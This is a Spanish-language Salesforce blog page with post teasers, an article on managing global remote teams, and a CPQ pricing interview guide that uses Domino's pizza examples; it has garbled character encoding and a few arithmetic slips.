Skip to content

Etiqueta: Paquetes

Mejore los conocimientos de los usuarios con interacciones personalizadas para AppExchange App Analytics 鈽侊笍

Mejore los conocimientos de los usuarios con interacciones personalizadas para AppExchange App Analytics 鈽侊笍

Los partners ISV ya pueden utilizar interacciones personalizadas para AppExchange App Analytics con el fin de conocer c贸mo utilizan los clientes los paquetes gestionados.

The post Obtenga mejores perspectivas de los usuarios con interacciones personalizadas para AppExchange App Analytics appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

驴Qu茅 es la gesti贸n de pedidos y por qu茅 deber铆a importarle?

Un sistema de gesti贸n de pedidos es el cerebro detr谩s de las escenas en el viaje de pedidos y cumplimiento. Puede hacer o deshacer la relaci贸n con sus clientes

The post 驴Qu茅 es la gesti贸n de pedidos y por qu茅 deber铆a importarle? appeared first on Salesforce.

El sistema de gesti贸n de pedidos es el cerebro entre bastidores de los procesos de pedido y entrega

Seguir leyendo

Cree pruebas integrales r谩pidamente con la extensi贸n de UTAM para Chrome 鈽侊笍

Cree pruebas integrales r谩pidamente con la extensi贸n de UTAM para Chrome 鈽侊笍

Construya pruebas de extremo a extremo r谩pidamente con dos elementos que hacen grande a UTAM: los objetos de p谩gina base (PO) y la extensi贸n UTAM para Chrome.

Los objetos de p谩gina base (PO) y la extensi贸n UTAM para Chrome son dos elementos que hacen grande a UTAM

The post Construya pruebas de extremo a extremo r谩pidamente con la extensi贸n UTAM Chrome appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Desbloquear el atractivo para el cliente: El poder de una propuesta de valor

Desbloquee el atractivo del cliente: Descubra el poder de una propuesta de valor convincente, creando resonancia y elevando su marca sin esfuerzo.

Seguir leyendo

Ventas para peque帽as empresas: Una gu铆a completa

Los SMBs tienen una variedad de motivaciones, y tus soluciones necesitan ayudarles a alcanzar sus objetivos.

Seguir leyendo

Optimice su organizaci贸n de Salesforce con estas 7 perspectivas cr铆ticas

Aunque esperamos que su organizaci贸n de Salesforce sea la excepci贸n, seg煤n las 煤ltimas investigaciones, es probable que albergue m谩s de 2000 riesgos de seguridad de c贸digo personalizado, alrededor de 14 paquetes instalados obsoletos y muchos errores de automatizaci贸n. Pero seguro que su organizaci贸n es la excepci贸n, 驴verdad? Recientemente hemos analizado los metadatos agregados de cientos de orgs reales de Salesforce y […]

El post Optimice su organizaci贸n de Salesforce con estos 7 datos cr铆ticos appeared first on Salesforce Ben.

Su organizaci贸n es la excepci贸n

Seguir leyendo

Enviar, registrar, repetir: registro de alertas de correo electr贸nico como actividades

Enviar, registrar, repetir: registro de alertas de correo electr贸nico como actividades

脷ltima actualizaci贸n el 24 de octubre de 2023 por Rakesh Gupta Big Idea or Enduring Question: 驴C贸mo se registran los correos electr贸nicos enviados con la acci贸n ‘enviar correo electr贸nico’? Objetivos: Despu茅s de leer este blog, ser谩s capaz de: Utilizar el flujo activado por registro para enviar una alerta por correo electr贸nico. Utilizar la acci贸n de flujo 芦Enviar correo electr贸nico禄. Utilizar

The post Enviar, registrar, repetir: registro de alertas de correo electr贸nico como actividades appeared first on Campe贸n de la Automatizaci贸n.

Las alertas de correo electr贸nico se env铆an por correo electr贸nico

Seguir leyendo

馃殌Salesforce CPQ Scenario Based Interview Question Cubriendo cada tema sobre Salesforce CPQ馃幆

Me llamo Smriti Sharan. Soy un 谩vido blogger y YouTuber. Desgloso conceptos complejos con divertidos ejemplos relacionables en tiempo real para que aprender sea divertido. 隆隆隆Wow!!! Puedes… Leer m谩s 芦

El post 馃殌Salesforce CPQ Scenario Based Interview Question Covering every topic on Salesforce CPQ馃幆 appeared first on .

Seguir leyendo

Claves Para Manejar Equipos Globales Con Exito

A medida que crece la econom铆a mundial m谩s empresas est谩n ayudando a la expansi贸n internacional. Esto se refiere a la confianza en la fuerza de trabajo dispersa. Se ha transformado en algo muy com煤n el tener empleados remotos en diferentes lugares.

La mayor铆a de los empleados prefieren trabajar con empresas que ofrezcan trabajo remoto. Considerando que hasta el 25% de la fuerza de trabajo global en las empresas son 100% remoto y tienen pol铆ticas de equipos virtuales, podemos decir que apoyando una entorno de trabajo diverso es tambi茅n celebrado de manera mundial.

驴Quieres aprender c贸mo navegar en las complejidades de manejar un equipo global? NoHQ tiene recursos accionables que pueden ayudarte a alcanzarlo. En este art铆culo se explora la importancia de los equipos globales para tu empresa. Tambi茅n aprender谩s consejos pr谩cticos que te ayudar谩n a construir de manera exitosa equipos globales que funcionen.

驴Por qu茅 son importantes los Equipos Globales?

Las empresas internacionales funcionan mejor cuando tienen talentos alrededor del mundo. 驴Por qu茅? 

  • Los Equipos Globales Fomentan la inclusividad y la diversidad en tu empresa. Con su amplio rango de experiencia. los miembros del equipo distribuidos pueden ayudar a crear y desarrollar estrategias y soluciones. Adem谩s trabajar en diferentes husos horarios iguala una estructura de soporte flexible y mayor alcance. Porque los miembros del equipo est谩n disponibles m谩s horas durante el d铆a, pueden responder a la lista de clientes global. 
  • Otra importancia de los equipos globales es la productividad aumentada. Ya que buscan tareas en diferentes zonas horarias tienden a complementar proyectos m谩s r谩pidamente. Sin importar si el 31 % de los profesionales de recursos humanos estableciera  la productividad como el beneficio central de los equipos globales.
  • Los equipos globales efectivos ayudan a las empresas a competir en el mercado actual sin l铆mite de zonas. 

Pero, 驴c贸mo se gerencia de manera efectiva a tus equipos a trav茅s de los l铆mites y establecer su 茅xito? 

10 Modos Para Manejar de Manera Exitosa a Los Equipos globales

1. Programa Reuniones Regulares Para El Equipo Completo

Tener reuniones de equipo programadas es la clave para tener equipos comprometidos y alineados. Esto es cierto incluso para los equipos distantes socialmente. Las reuniones son oportunidades de colaboraci贸n esencial que ayudan a los miembros a trabajar juntos, compartir ideas y lograr objetivos. 

Ya que los equipos tienen un tiempo limitado en com煤n, es mejor que tengan reuniones de equipos estructuradas con agendas bien planeadas. Aseg煤rate de adherirte a los horarios de rutinas y crear una retina que funcione para todos. 

El 96% de los que respondieron a este estudio acordaron que la conferencia por video favorece la conectividad entre los equipos remotos. Tambi茅n ayuda a los miembros del equipo a construir empat铆a y confianza. Por lo tanto elige plataformas como Zoom, GoogleMeet, o Skype.

2. Invierte en Herramientas de Control de Tareas

Las herramientas de control de tareas y de proyectos son programas basados en la nube que te permiten mantener un registro de las tareas de tu equipo y plazos. Pueden enviar recordatorios y dar informes diarios, semanales y mensuales. Las aplicaciones de seguimiento de tiempo son una inversi贸n excelente si tu empresa paga por hora.  

Estos programas te ayudan de manera efectiva a manejar el equipo de tu equipo a donde est茅n. Asignar tareas, establecer plazos y monitorear su progreso de manera simult谩nea. La mejor parte? Los miembros de equipo que trabajan en proyectos compartidos pueden ser elegidos en lugares desocupados por otros. Las aplicaciones de seguimiento de tareas como Asana, Monday.com, y Trello pueden ayudarte a manejar un equipo global de manera efectiva. 

3. Mejora la Comunicaci贸n

Manejar el flujo de trabajo, agendas y tareas a trav茅s de los diferentes lugares y zonas horarios puede ser desalentador. Incluso con herramientas de manejo de proyectos, los mensajes pueden ser a veces perdidos en la traducci贸n. 

Garantizar que tienes una comunicaci贸n clara y frecuente con cada miembro del equipo es un modo de fomentar el compromiso del empleado y construir equipos globales que funcionen. Aseg煤rate de discutir las expectativas para cada rendimiento, progreso, desaf铆os y cambios de cada miembro del equipo. 

Crea oportunidades para que ellos sugieran ideas y resuelvan desacuerdos cuando sea necesario. La comunicaci贸n uno a uno tambi茅n crea espacio para la devoluci贸n honesta de ambos lados. 

4. Ofrece Critica Constructiva

Un feedback honesto y abierto crea relaciones basadas en la confianza contigo y con tu equipo. Es tambi茅n una oportunidad para seguir su crecimiento profesional y ofrecer consejo que pueda mejorar su rendimiento laboral. N贸tese que es mejor dar una cr铆tica constructiva y feedback durante las reuniones uno a uno. Las mismas pueden ser realizadas una vez por mes, cada tres meses o al final de un proyecto.

El mejor modo de dar feedback es:

  • Garantizar que tu rendimiento sea espec铆fico. 
  • Ofrecer premios y halagos por sus contribuciones y exitos.
  • Dirigirlos a recursos relevantes para ayudarlos a mejorar.

5. Contrata a la gente correcta 

Cuando contratas, busca gente que tenga la experiencia y el perfil para tu empresa. No todos pueden manejar el trabajo remoto. Contratar a la persona equivocada puede r谩pidamente ocasionar problemas para tu equipo global. Para evitar esto, haz que el candidato tome evaluaciones de personalidad relevantes. Tambi茅n debes corroborar sus referencias.

驴Quieres estar seguro en c贸mo reclutar para trabajos remotos? NoHQ es una gran plataforma que ayuda a suavizar los desaf铆os de contrataci贸n globales para muchas empresas. Reimagina tu proceso de contrataci贸n remota con tu gu铆a de contrataci贸n.

6. Antic铆pate a los Obst谩culos 

Trabajar de manera remota tiene su 煤nico conjunto de obst谩culos. Piensa en distracciones como los ruidos de vecinos, ni帽os, lavarropas o incluso de las mascotas. Esto puede afectar la capacidad de cada miembro de equipo para focalizarse y ser productivo. anticiparse a estos obst谩culos 煤nicos te ayudar谩n a ofrecer el apoyo correcto a tu. Equipo remoto. Tambi茅n estar谩n mejor preparados para superar obst谩culos y alcanzar los objetivos establecidos. 

Para manejar a los equipos globales exitosamente, considera ofrecer opciones de trabajo alternativa donde sea posible. Tambi茅n, trata de no restringir sus horas de trabajo a un horario espec铆fico. La mayor铆a de las personas que trabajan remoto tienden a ser m谩s productivas en horarios pocos comunes del d铆a, desde la medianoche a la madrugada. 

7. Toma nota de las diferencias culturales

Los equipos globales tienden a incluir gente de diferentes culturas y profesiones. Los miembros de equipos pueden sentirse irrespetuosos o ignorados cuando estas diferencias no son reconocidas. Para evitar esto, fomenta las conversaciones respetuosas e inclusivas sobre las diferencias culturales.  Esto abrir谩 posibilidades al equipo y mejores modos de manejar ciertas situaciones. Junto con un entendimiento profundo de requisitos culturales diferentes y pr谩cticas comerciales, ser谩s capaz de dete,Omar como las diferencias afectaran a otros miembros del equoipo.

8. Crea una comunidad Virtual 

Los empleados que trabajan de manera remota tienden a sentirse f谩cilmente dejados. Para garantizarles que permanecen comprometidos: construye una comunidad virtual donde todos se sientan parte d e una familia. Esto disparar谩 una colaboraci贸n cultural y uni贸n en el equipo.

驴Como puedes hacerlo? Tecnolog铆a de apalancamiento y herramientas de colaboraci贸n. Adem谩s no todo es trabajo, cuando est茅s trabajando con equipos globales, puedes organizar reuniones de caf茅 virtual, almuerzos o,momentos de recreaci贸n. Esto los ayudar谩 a establecer conexiones y fomentar el esp铆ritu de equipo.

9. Brinda todos los recursos necesarios 

El brindar apoyo a los empleados reomots incluye darles todos los recursos que necesitan para realizar el trabajo. Para gaarntizar el exito de tu esfuerzos en el gerenciamiento del proyecto global, no pases por alto las necesidades de tu equipo.  

Si existiera una falla en la comunicacion, construyela con entrenamiento del idioma y clases de oratoria. Los empleados probalblemnte tengan exito en sus trabajos cuando existen oportinades de desarrollo porfesional .

10. Implementa Paquetes y Beneficios de Compensaci贸n Justa

:Los paquetes de compensaci贸n y los beneficios son fundamentales al contratar y retener a los empleados. Compensation packages, and perks are instrumental in hiring and retaining employees. Although providing free catered lunches and gym memberships may work for office-based employees, they won鈥檛 for global teams

Some tried and trusted perks for remote employees include: 

  • paid time off
  • WFH equipment
  • child care assistance
  • coworking stipend
  • learning stipends for online classes, etc.

馃い 隆Decodificaci贸n de precios, descuentos y preguntas de la entrevista en cascada de precios de Salesforce CPQ con escenarios de Domino's Pizza! 馃崟

馃い 隆Decodificaci贸n de precios, descuentos y preguntas de la entrevista en cascada de precios de Salesforce CPQ con escenarios de Domino's Pizza! 馃崟

Enlace de Whatsapp para el grupo Salesforce CPQ

驴Est谩 listo para profundizar en los m茅todos de fijaci贸n de precios de Salesforce CPQ, el modelo de cascada de precios y los descuentos de CPQ? Entenderemos los precios de Salesforce CPQ y abordaremos las preguntas de la entrevista con la ayuda de las deliciosas ofertas de Domino. 馃い馃搳馃崟

Domin贸's Pizza | Akron OH

驴Cu谩les son los m茅todos de fijaci贸n de precios en Salesforce CPQ?

M茅todos de fijaci贸n de precios

驴Cu谩l es el precio de lista en Salesforce CPQ?

Precios en Salesforce Cpq

El precio de lista es el precio que se recupera de la entrada del libro de precios. Una parte importante del precio de lista es la entrada en el libro de precios, ya que los precios se invocan desde el libro de precios. Cada producto debe tener una entrada en el libro de precios; de lo contrario, el producto no aparecer谩 en la p谩gina de selecci贸n del editor de l铆neas de cotizaci贸n.

Por ejemplo, Domino's tiene su nueva pizza 鈥淎I Extravaganza鈥, con un precio de $24 en su lista de precios CPQ. Ese es nuestro precio de lista. Ahora, en 鈥淭echie Night鈥, ofrecen un 20% de descuento para todos los entusiastas de la tecnolog铆a. Salesforce CPQ toma el precio de lista de $24, calcula el descuento del 20 % y al cliente se le ofrece la pizza a $19,20. Pero sin que la entrada del libro de precios de lista establezca el precio de lista.

驴Cu谩l es el precio de costo?

El precio de costo se utiliza cuando un producto cuesta una cantidad espec铆fica para obtenerlo, luego puede agregar el precio de costo y agregar el precio de margen al producto. El margen de beneficio se puede negociar entre los representantes de ventas y el cliente. El precio de costo es el precio que se completa en el precio especial. campo.

Imagine la nueva pizza 鈥淎I Extravaganza鈥 de Domino's. Los ingredientes, la mano de obra y los costos generales suman hasta $15 por pizza: ese es nuestro precio de costo. Ahora, Domino's quiere una parte de las ganancias, por lo que a帽aden un margen de beneficio. Digamos que lo aumentan en $9, lo que hace que el precio de lista sea de $24 (el precio que ves en el men煤).

驴Qu茅 es el precio por bloque?

Los precios en bloque son los precios que se actualizan en funci贸n de las cantidades del producto comprado. Por ejemplo, un paquete de 1 a 10 unidades costar谩 10 $, 10 a 20 unidades costar谩 18 $ y as铆 sucesivamente.

Para configurar el precio por bloque necesitamos actualizar los 4 datos.
Nombre: establezca el nombre para bloquear el m茅todo de fijaci贸n de precios.
L铆mite inferior: la cantidad m谩s baja para el rango de cantidades.
L铆mite superior: la cantidad m谩s alta para el rango de cantidades.
Precio: Precio que se configurar谩 para el rango de cantidad determinado.
Precios en Salesforce Cpq
Nota: El l铆mite superior del precio de un bloque y el l铆mite inferior del precio del siguiente bloque deben ser iguales.

Entendamos con la ayuda del escenario de Dominos, imaginemos el precio en bloque como la oferta especial de Domino's en sus pizzas, pero en lugar de "Compre 1, obtenga 1 gratis", es m谩s como "隆Compre m谩s, ahorre m谩s!". Este enfoque se utiliza en Salesforce CPQ para alentar a los clientes a comprar en mayores vol煤menes reduciendo el precio unitario a medida que aumenta la cantidad.

Digamos que Domino's est谩 vendiendo su pizza "AI Extravaganza" e introduce una estrategia de precios en bloque para impulsar las ventas:

鈥 **Nombre**: 鈥淎cuerdo en bloque de extravagancia de IA鈥

鈥 **L铆mite inferior**: 1 (n煤mero m铆nimo de pizzas)

鈥 **L铆mite superior**: 10 (n煤mero m谩ximo de pizzas antes del siguiente bloque)

鈥 **Precio**: $24 por pizza

Entonces, si pides entre 1 y 10 pizzas 鈥淎I Extravaganza鈥, cada una te costar谩 $24. Pero Domino's quiere incentivarlo a pedir m谩s para sus reuniones tecnol贸gicas o noches de juegos, por lo que presenta lo siguiente:

鈥 **L铆mite inferior del siguiente bloque**: 11

鈥 **L铆mite superior del siguiente bloque**: 20

鈥 **Precio del siguiente bloque**: $22 por pizza

Con esta oferta, si pides de 11 a 20 pizzas, el precio baja a $22 cada una. Los asistentes est谩n contentos porque hay mucha pizza y Domino's est谩 encantado con el pedido m谩s grande. 隆Es beneficioso para todos!

Entonces, el precio por bloque es como desbloquear descuentos por volumen: cuanto m谩s pides, m谩s barata se vuelve cada pizza.

驴Qu茅 es el porcentaje del total?
El porcentaje del total se calcula en funci贸n del porcentaje de la suma de todos los dem谩s productos que se compran. Por ejemplo, la propina por una cuenta en un restaurante se calcular铆a en esta categor铆a.
Para implementar el porcentaje del total, necesitamos actualizar los siguientes campos en los productos:
M茅todo de fijaci贸n de precios: config煤relo en "Porcentaje del total"
Porcentaje de la base total: este campo dice en qu茅 campo de precio debemos implementar el porcentaje del total.
Anulaci贸n de precio de opci贸n: este precio funcionar谩 solo en el producto del paquete. Las opciones del producto son la opci贸n del paquete. Puede anular el precio del producto si se vende de forma independiente y junto con el paquete.

隆Sumerj谩monos en el concepto de 鈥減orcentaje del total鈥 con un delicioso escenario de Domino!

Imagina que est谩s organizando una gran noche de juegos. Entonces, pides una variedad de pizzas, guarniciones y postres, suficiente para satisfacer los diversos antojos de tus amigos. Aqu铆 hay un desglose de su pedido:

5 pizzas a $15 cada una $75
4 贸rdenes de pan de ajo a $5 cada una $20
3 pasteles de lava a $6 cada uno $18
Total $118
Las bebidas son una entidad separada.
6 botellas de refresco a $2.50 cada una %15

As铆 es como se integra en Salesforce CPQ:

M茅todo de fijaci贸n de precios: seleccionaron "Porcentaje del total". Es din谩mico y cambia con sus opciones y porciones de alimentos.

Porcentaje de la base total: se define como la 鈥渇actura total de alimentos鈥, que es el costo de pizzas, guarniciones y postres, por un total de $113. Tus refrescos est谩n fuera de esto.

Anulaci贸n de precio de opci贸n: normalmente, una botella de cola de Domino's cuesta $2,50, pero usted pidi贸 el "隆Combo!" 隆Este privilegio combinado reduce el costo de los refrescos a $1.80 por botella, lo que le permite ahorrar $4.20 en bebidas!

Total

El 鈥渋mpuesto de fiesta鈥 es el 10% de $113, por lo que son $11,30. El costo total de la comida fue de $113, las bebidas fueron de $15 y con el descuento en bebidas debido a la oferta "Combo", restas $4.20 y luego sumas tu "Impuesto de fiesta" de $11.30. Entonces, 隆el total general de la noche es $135,10!

驴Explica el concepto de 鈥減recio de opciones鈥?

Imagina que est谩s organizando una fiesta de pizza y Domino's tiene esta oferta llamada "Paquete de fiesta de pizza", que incluye pizzas, guarniciones y bebidas.

As铆 es como funciona:

Precio opcional: en el 鈥淧aquete para fiestas de pizza鈥, el pan con ajo no cuesta $5; 隆cuesta solo $ 3,75! Obtiene un recorte de precio porque est谩 en un paquete.

Pasos:

1. Primero, agrega pan de ajo a su carrito; sigue siendo $5.

2. Luego, eliges el 鈥淧aquete Pizza Party鈥 y el pan de ajo en tu paquete ahora tiene un precio de $3.75.

Lo que sucede aqu铆, debido al concepto de Precio de Opci贸n, es que el sistema verifica si el pan con ajo es parte del 鈥淧aquete de Pizza Party鈥. entra en vigor el precio con descuento de $ 3,75, como se especifica en la opci贸n del paquete.

Precio de lista en Salesforce CPQ

驴Explicar las limitaciones en el precio de las opciones?

El precio de la opci贸n no admite monedas m煤ltiples, por lo que solo es posible definir el precio de anulaci贸n en una sola moneda.

驴Explicar los precios contratados en Salesforce CPQ?

Imagine que Domino's tiene una empresa cliente leal, 鈥淧izza Lovers Texas Inc.鈥, una empresa local que pide pizzas para su personal todos los viernes. Dado que realizan pedidos con tanta frecuencia y al por mayor, Domino's quiere ofrecerles una oferta especial.

As铆 es como funciona:

1. Normalmente, una pizza vegetariana grande cuesta $15. Pero para Pizza Lovers Texas, Domino's establece un precio contratado de 12 d贸lares por pizza, un gesto de lealtad.

  1. En el sistema CPQ Salesforce de Domino, van a la cuenta de Pizza Lovers Texas.
  2. Navegue a la pesta帽a "Relacionados" y, en la secci贸n "Precios contratados", hagan clic en "Nuevo".
  3. Seleccionan la pizza vegetariana en el campo "Producto" e ingresan $12 en el campo "Precio": se establece el precio contratado.

隆Consejos profesionales sobre precios contratados! 馃崟鉁

1. No hay ofertas dobles: si Pizza Lovers Texas Inc. tuviera dos precios contratados diferentes para la misma pizza vegetariana, un contrato la ofrece a $12 y otro anterior a $14. El sistema Salesforce de Domino no sabr铆a cu谩l debo elegir. Para evitar esto, CPQ se asegura de tener solo UN precio contratado por producto para cada cuenta.

2. Excepciones de precios especiales: los productos que utilizan m茅todos de fijaci贸n de precios, precios en bloque o porcentaje del precio total, no funcionan con el precio contratado.

3 Asuntos familiares: si las Cuentas est谩n vinculadas por una relaci贸n padre-hijo, entonces, de forma predeterminada, todos los hijos heredan el Precio Contratado creado en la Cuenta Padre.

Digamos que PizzaLovers Texas Inc. es parte de un imperio m谩s grande, "PizzaLovers Universe", con subsidiarias como "PizzaLovers Chicago" y "PizzaLovers Bay" instaladas en diferentes ubicaciones. Domino's establece un precio contratado con la empresa matriz, "PizzaLovers Universe". Salesforce CPQ aplica autom谩ticamente este precio contratado a todas las subsidiarias de PizzaLovers porque, en el mundo de la pizza, la familia est谩 unida.

驴Explique el caso de uso de 'Ignorar precios contratados por los padres'?

驴Qu茅 pasa si 鈥淧izzaLovers Chicago鈥 negocia un trato exclusivo y diferente porque piden el doble cada viernes? Domino's simplemente cambia la opci贸n "Ignorar precios contratados de la empresa matriz" a verdadero en esa cuenta, asegurando que "PizzaLovers Chicago" obtenga su oferta 煤nica, mientras que el resto a煤n se beneficia del precio contratado de la empresa matriz.

驴Explicar el precio 鈥淎nulaci贸n manual鈥 en los precios de Salesforce CPQ? 馃崟馃敟

1.Crea tu propia pizza:

驴Por qu茅 Domino's cobrar铆a m谩s cuando construyes tu propia pizza en lugar de personalizar una pizza especial? 鈥 Cuida tus decisiones

Dominos sabe que a veces quieres crear tu propia pizza. Por lo tanto, establecieron el campo "Precio editable" en verdadero en el producto "Crea tu propia pizza". Ingresa al Editor de l铆neas de cotizaci贸n y puede ajustar el precio de lista seg煤n la cantidad y el tipo de ingredientes que elija para esa pizza.

Anulaci贸n manual en los precios de Salesforce CPQ

2. Flexibilidad:

Domino's ofrece conexi贸n Wi-Fi gratuita en sus restaurantes. El Wi-Fi normalmente se "vende" usando el "M茅todo de precio = Lista", pero para reservas de grupos grandes, lo ofrecen como un beneficio, parte del "M茅todo de precio = Porcentaje del total" con la factura total. Para cambiar entre estos m茅todos, hacen que el campo "M茅todo de fijaci贸n de precios" sea editable en el Editor de l铆neas de cotizaci贸n configurando "M茅todo de fijaci贸n de precios editable" en verdadero para el producto (en este caso, Wi-Fi).

Informaci贸n de cotizaci贸n en precios de Salesforce CPQ

3. Ofertas personalizadas para comidas personalizadas:

A veces, un cliente negocia un trato que no se ajusta a los m茅todos de fijaci贸n de precios habituales. Domino's responde configurando 'M茅todo de fijaci贸n de precios = Personalizado' en el Editor de l铆neas de cotizaci贸n. Luego, el personal puede establecer manualmente un precio personalizado.

establecer el m茅todo de fijaci贸n de precios en Salesforce CPQ

4. El lado sorpresa:

驴Alguna vez el personal de Domino's te recomend贸 pan de ajo con queso para pedir? A veces, lo agregan a su pedido como un art铆culo "Opcional" configurando el campo "Opcional" en verdadero en el Editor de l铆neas de cotizaci贸n. No sumar谩 su total, pero est谩 ah铆 para que lo considere.

驴Explicar la cascada de precios?

Cascada | Geolog铆a, Erosi贸n e Hidrolog铆a | Brit谩nica

隆Profundicemos en el concepto de cascada de precios en Salesforce CPQ! 馃挦

La cascada de precios de CPQ es un proceso/secuencia de varios pasos que utiliza diferentes precios y descuentos para llegar al precio neto (este es el campo de precio para el total de la l铆nea de cotizaci贸n/cotizaci贸n).

Se describe como una cascada que se abre camino de arriba a abajo a trav茅s de los diferentes precios y descuentos/ajustes.

Precios de Salesforce CPQ y su descripci贸n

1. Precio de lista:

Este es el punto de partida: el precio del men煤. Digamos que el precio de lista de la pizza grande 鈥淓xtravaganZZa鈥 de Domino's es de $20, como figura en su Libro de precios.

2. Precio Contratado:

Domino's tiene clientes leales, como el "Pizza Club", que cenan todos los martes. Han negociado un 5% de descuento en todas las pizzas a trav茅s de un programa de fidelizaci贸n. Entonces, para ellos, el precio contratado para 鈥淓xtravaganZZa鈥 no es $20 sino que baja a $19 ($20 menos 5%).

3. Precio especial:

En ocasiones, Domino's ofrece una promoci贸n especial de un d铆a, como 鈥淐heesy Thursday鈥, donde todas las pizzas tienen un 10% de descuento adicional. Esta promoci贸n se aplica sobre el Precio Contratado o el Precio de Lista. Para el leal 鈥淧izza Club鈥, esto reduce su pizza de $19 a $17,10 para ese d铆a.

4. Precio prorrateado:

Supongamos que un miembro del club quiere comprar la mitad de un 鈥淓xtravaganZZa鈥 y la mitad de un 鈥淰eggie Delight鈥 (tambi茅n con un precio de 20 d贸lares). Dominos calcula un Precio Prorrateado, donde toman el Precio Especial ($17.10) y lo multiplican por un factor considerando el escenario de mitad y mitad, digamos 0.5 por cada mitad, lo que equivale a $8.55 por cada porci贸n de media pizza.

5. Precio Regular:

Si no hay un escenario especial, se aplica el Precio Regular. Es el Precio Prorrateado o vuelve al Precio de Lista original. Entonces $19 por 鈥淓xtravaganZZa鈥.

En el contexto del escenario de Domino's pizza con Salesforce CPQ, analicemos en detalle el precio para el cliente, el precio para el socio y el precio neto.

6. Precio al cliente:

Es el precio final que paga un consumidor directo despu茅s de considerar todos los descuentos aplicables y precios especiales. Para los miembros del 鈥淧izza Club鈥 que cenen un 鈥淐heesy Thursday鈥, el precio al cliente por un 鈥淓xtravaganZZa鈥 ser铆a la tarifa especial de $17,10.

7. Precio del socio:

El Precio de Socio es una tarifa especial que se ofrece a los socios comerciales, generalmente m谩s baja que la tarifa est谩ndar, para adaptarse a los m谩rgenes de beneficio de los socios. Por ejemplo, una aplicaci贸n de entrega de alimentos 'Uber' podr铆a recibir el "ExtravaganZZa" a un precio de socio de $16, lo que les permitir谩 aumentarlo para sus clientes.

8. Precio Neto:

Son los ingresos que el vendedor se queda con la venta despu茅s de deducir todos los descuentos, bonificaciones o rebajas. El precio neto refleja los ingresos reales que obtiene el vendedor por el producto antes de restar sus costos internos.

En el caso de Domino's, el precio neto es la cantidad que Domino's registra como ingreso por la pizza "ExtravaganZZa" vendida al miembro del club el "Cheesy Thursday".

驴C贸mo puede Salesforce CPQ ayudar a una empresa a gestionar la complejidad de los precios de manera m谩s eficiente?

Con Salesforce CPQ, en lugar de crear m煤ltiples libros de precios, la empresa puede tener un libro de precios est谩ndar y aplicar excepciones y ajustes de precios seg煤n sea necesario. Por ejemplo, si hay un descuento del 20 % a nivel nacional en la pizza "Veg Extravaganza", esto se puede aplicar adem谩s del libro de precios est谩ndar sin crear uno nuevo.

驴Pueden los representantes de ventas ofrecer productos como parte de un paquete a un precio diferente con Salesforce CPQ, aunque sea el mismo producto que figura en el libro de precios?

Domino's 1 Pizza Grande (2 Toppings) + Coca Cola 2 Litros - Newegg.com

隆S铆! Salesforce CPQ permite configuraciones de precios avanzadas. Por ejemplo, una botella de 鈥淐oca-Cola鈥 podr铆a tener un precio de 2 d贸lares si se vende individualmente. A煤n as铆, cuando forma parte del paquete 鈥淔amily Feast鈥 (que incluye pizzas, guarniciones y una bebida), el precio efectivo de la 鈥淐oca-Cola鈥 dentro del paquete podr铆a ser de solo $1,50. Este precio diferencial es posible dentro del mismo libro de precios debido a la flexibilidad de Salesforce CPQ.

驴Los representantes de ventas todav铆a necesitan libros de precios si utilizan Salesforce CPQ?

S铆, los libros de precios siguen siendo un elemento fundamental en Salesforce CPQ. Proporcionan los precios de referencia a partir de los cuales se derivan todos los ajustes, descuentos o precios especiales. Si un producto no tiene una entrada en el libro de precios, no aparecer谩 en la p谩gina de selecci贸n de productos y no se podr谩 agregar a una cotizaci贸n. Incluso una entrada de $0 puede ser significativa, ya que puede indicar un art铆culo complementario o un producto cuyo precio final se determinar谩 mediante los m茅todos de fijaci贸n de precios de Salesforce CPQ.

驴Qu茅 deben recordar los representantes de ventas al crear nuevos productos en su sistema?

Domino's siempre debe asegurarse de que cualquier producto que introduzca tenga una entrada en el libro de precios asociada. Esta inclusi贸n es crucial porque, sin ella, el producto no estar谩 disponible para su selecci贸n al crear cotizaciones, incluso si est谩 destinado a ser un art铆culo promocional con un valor de cero d贸lares.

Analicemos c贸mo funcionan los m茅todos de fijaci贸n de precios de Salesforce CPQ, centr谩ndonos particularmente en la fijaci贸n de precios de opciones y su interacci贸n con otros m茅todos, utilizando Domino's como nuestro escenario de ejemplo.

驴Para qu茅 sirve la casilla de verificaci贸n incluida?

Diagrama de flujo de precios de lista

Si Domino's decide que el "Combo de fiesta" es una promoci贸n especial y los art铆culos individuales que contiene (las opciones) no deben tener el precio habitual cuando se venden por separado, marcar谩n la casilla "Combinado" en Salesforce CPQ para este combo.

Esto significa que aunque una 鈥淧izza Vegetariana鈥 por s铆 sola suele costar $18, dentro del 鈥淐ombo de Fiesta鈥 tiene un precio de $0.00, al igual que los dem谩s art铆culos del combo.

Descuentos en Salesforce CPQ

M茅todos de descuento

驴Qu茅 es el descuento opcional en CPQ?

Domino's ofrece un paquete de productos, similar a una oferta combinada, llamado "Pizza Fiesta". Este paquete incluye una pizza grande 鈥淰eggie Extravaganza鈥, 鈥淐heesy Bread鈥 y un refresco.

驴C贸mo configurar el descuento opcional en CPQ?

  1. Creaci贸n de paquetes de productos: Domino's establece por primera vez un paquete de productos llamado 鈥淧izza Fiesta鈥 que incluye tres art铆culos:
  • Pizza 鈥淓xtravagancia Vegetal鈥
  • 鈥淧an con queso鈥
  • soda

2. Identificaci贸n del art铆culo con descuento: Domino's decide que el 鈥淐heesy Bread鈥 ser谩 un 10% m谩s barato si se pide como parte del paquete 鈥淧izza Fiesta鈥, en comparaci贸n con su precio regular a la carta.

3. Configuraci贸n del descuento en Salesforce CPQ: el administrador de Domino's ingresa a Salesforce CPQ y navega hasta el producto del paquete principal "Pizza Fiesta" en el sistema. En la pesta帽a Relacionados, encontrar谩n todos los productos que forman parte de este paquete enumerados como Opciones de producto.

4. Aplicaci贸n del descuento opcional: el administrador ubica el 鈥淧an con queso鈥 dentro de la lista de Opciones de producto para el paquete 鈥淧izza Fiesta鈥. Luego establecieron un precio espec铆fico que indica que cuando el 鈥淐heesy Bread鈥 es parte del paquete 鈥淧izza Fiesta鈥, genera un descuento del 10% en este art铆culo en particular.

驴Explicar la funci贸n de descuento manual en Salesforce CPQ?

Imagine que un cliente habitual realiza un pedido al por mayor para una pr贸xima fiesta. Pidieron 20 pizzas 鈥渧egetarianas鈥, cada una con un precio original de $10. Para premiar esta compra al por mayor, el responsable comercial ha decidido ofrecer un descuento especial. En lugar del precio normal, quieren que el costo total de las 20 pizzas sea de $150, en lugar de $200.

驴Qu茅 es un campo no descontable en Salesforce CPQ?

